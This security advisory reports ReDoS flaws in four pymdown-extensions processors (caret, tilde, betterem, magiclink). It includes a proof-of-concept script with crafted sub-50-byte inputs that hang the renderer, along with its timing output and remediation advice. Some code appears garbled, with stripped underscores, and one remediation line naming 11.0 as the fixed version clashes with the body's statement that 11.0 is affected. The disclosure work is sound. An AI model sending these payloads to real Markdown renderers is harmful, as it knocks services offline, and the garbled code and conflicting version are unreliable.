GHSA-gm37-52c6-37mw: High severity pip/pymdown-extensions vulnerability
Summary
Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's default configuration and are reachable through the documented public API. The caret/tilde/ betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in 10.13, Dec 2024) — earlier releases used a linear (.+?) / ([^\s]+?) content group — and is present through 11.0 (latest); magiclink's host pattern is long-standing and affects effectively all releases. Likely CWE-1333 (Inefficient Regular Expression Complexity).
This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption, REFIGNUM, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a ./\. typo).
Details
Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into {2,}-sized pieces in exponentially many ways, wrapped in a lazy +? that must fail before the engine can give up:
| Extension | Regex | Location (11.0) | |---|---|---| | pymdownx.caret (superscript ^…^) | SUP2 | pymdownx/caret.py:56 | | pymdownx.tilde (subscript ~…~) | SUB2 | pymdownx/tilde.py:55 | | pymdownx.betterem (underscore …) | SMARTUNDEREM2 (default) | pymdownx/betterem.py:93 | | pymdownx.magiclink (bare-URL autolink) | RELINK | pymdownx/magiclink.py:56 (host at :59) |
pymdownx/caret.py:56 (pymdown-extensions 11.0):
python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'
The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the \^{2,} branch. A run of k carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine explores every partition before failing. SUB2 (tilde) and SMARTUNDEREM2 (betterem) are the same construct for ~ and . In betterem the default smartenable='underscore' routes underscores to SmartUnderscoreProcessor → SMARTUNDEREM2 (betterem.py:93), which is the default-reachable, API-exploitable pattern; the non-smart UNDEREM2 (:69, used only when smartenable is asterisk/disable) shares the shape but did not reproduce through the public markdown.markdown() pipeline on the tested payload, so a fix and regression test should target SMARTUNDEREM2.
pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially:
python (?:ht|f)tps?://[^\W][-\w](?:\.[-\w.]+) # host: '\.' and '[-\w.]' inside (?:...) both match '.'
SUP2/SUB2/SMARTUNDEREM2 are applied at each delimiter occurrence via the default PatternSequenceProcessor subclasses (pymdownx/util.py); RELINK is applied by MagiclinkPattern (registered unconditionally at priority 85). In all four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted src in default configuration is sufficient to reach the regex.
PoC
Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).
python import signal import time from importlib.metadata import version
import markdown
print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")
CAP = 5.0 # a single render exceeding this is treated as a hang
class Timeout(Exception): pass
def render(ext, text): signal.signal(signal.SIGALRM, lambda : ( for in ()).throw(Timeout())) signal.setitimer(signal.ITIMERREAL, CAP) t = time.perfcounter() try: markdown.markdown(text, extensions=[ext]) return time.perfcounter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMERREAL, 0)
ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" n + "b", lambda n: "^" + "a" n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" n + "b", lambda n: "~" + "a" n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "a" + "" n + "b", lambda n: "" + "a" n + "", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." n + " ", lambda n: "http://" + "a" n + ".com ", [28, 32, 36], 40), }
repro = [] for ext, (evil, benign, ramp, hang) in CASES.items(): basetxt = benign(hang) # valid, closed run: same regex machinery, but linear base = render(ext, basetxt) print(f"\n[{ext}] benign baseline (len {len(basetxt)}, valid+closed): {base 1e3:.3f} ms") prev = None for n in ramp: txt = evil(n) dt = render(ext, txt) ratio = f" (x{dt / prev:.1f})" if (prev and dt) else "" shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)" print(f" malicious len {len(txt):3d}: {shown}{ratio}") prev = dt txt = evil(hang) dt = render(ext, txt) hung = dt is None print(f" malicious len {len(txt):3d}: " f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}") ok = base < 0.05 and (hung or dt > 1.0) repro.append(ok) print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte " f"malicious line stalls the renderer; a valid {len(basetxt)}-byte line is instant.")
assert all(repro), "not reproduced" print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the " "public markdown.markdown() API, default config (each < 50-byte input).")
Run:
bash uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py
The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it is independent of the Markdown library version (markdown pinned only for byte-exact output). Observed output:
pymdown-extensions 11.0 / markdown 3.10.2
[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms malicious len 27: 0.003 s malicious len 33: 0.054 s (x16.6) malicious len 39: 0.946 s (x17.6) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms malicious len 27: 0.003 s malicious len 33: 0.053 s (x17.1) malicious len 39: 0.962 s (x18.2) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms malicious len 27: 0.003 s malicious len 33: 0.052 s (x17.1) malicious len 39: 0.948 s (x18.1) malicious len 47: > 5 s (HANG) => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms malicious len 37: 0.033 s malicious len 41: 0.210 s (x6.4) malicious len 45: 1.405 s (x6.7) malicious len 49: > 5 s (HANG) => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.
VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).
The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the unclosed crafted run. Extending it a few more characters pushes the render time into minutes and beyond.
Impact
Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:
- General Python web apps that render user-supplied Markdown (comments, wikis, issue/ticket bodies, chat, live preview) — notably any app using pymdownx.extra, which bundles betterem with the vulnerable default smartenable='underscore', or that reuses a Material-style extension block in a runtime renderer. - Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.
- Attacker: unauthenticated, remote (anyone who can submit Markdown). - Configuration: default for each extension. - Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).
Suggestion
The vulnerable content groups need to be rewritten so a delimiter run has exactly one parse, removing the {2,} partition ambiguity that lets the engine re-segment a run on backtracking. For the emphasis patterns, restructuring the content so a delimiter run is consumed in a single, non-re-partitionable way (rather than by a {2,} branch inside a +? group) removes the blow-up; for RELINK, disambiguate the host so . is matched in exactly one place (a single labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)) rather than by overlapping classes. Possessive quantifiers / atomic groups are the most direct tool but require Python 3.11+; since the project supports Python 3.10, a structural rewrite is the portable option.
A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.
References
- Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2), pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMARTUNDEREM2, default; :69 UNDEREM2 shares the shape), pymdownx/magiclink.py:56 (RELINK, host subexpression at :59). - Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption REFIGNUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. The caret/tilde/betterem content groups gained the vulnerable {2,} alternation in PR #2547 (v10.13); earlier releases used a linear (.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/pymdown-extensionsto a version that resolves this vulnerability.Fixed in 11.0.1 - Upgrade
Upgrade
pymdown-extensionsto a version that resolves this vulnerability.Fixed in 11.0 - Compensating control
When rendering untrusted Markdown via the public `markdown.markdown()` API, mitigate the ReDoS by isolating the rendering thread/process (e.g., run Markdown rendering in a separate worker with a hard timeout, since a single crafted line stalls the renderer at 100% CPU).
- Operational
If an application is exposed to untrusted user Markdown (comments/wikis/hosted docs/CI builds), review and update the `pymdown-extensions`/`markdown` dependency set used by the renderer, since the issue is reproduced for `pymdown-extensions 11.0` with `markdown 3.10.2` under the default configuration of the affected inline processors.
Event History
Frequently Asked Questions
What is the severity of GHSA-gm37-52c6-37mw?
The severity of GHSA-gm37-52c6-37mw is rated as high with a score of 7.5.
What vulnerabilities does GHSA-gm37-52c6-37mw introduce in pymdown-extensions?
GHSA-gm37-52c6-37mw introduces vulnerabilities related to regular expressions with exponential backtracking that can lead to unbounded CPU usage.
How do I fix GHSA-gm37-52c6-37mw?
To fix GHSA-gm37-52c6-37mw, you should update to the latest version of pymdown-extensions where the vulnerabilities have been addressed.
What impact does GHSA-gm37-52c6-37mw have on my application?
GHSA-gm37-52c6-37mw can lead to performance degradation by consuming excessive CPU resources when processing untrusted Markdown input.
Is my application affected by GHSA-gm37-52c6-37mw?
Your application may be affected by GHSA-gm37-52c6-37mw if it uses pymdown-extensions for rendering Markdown input.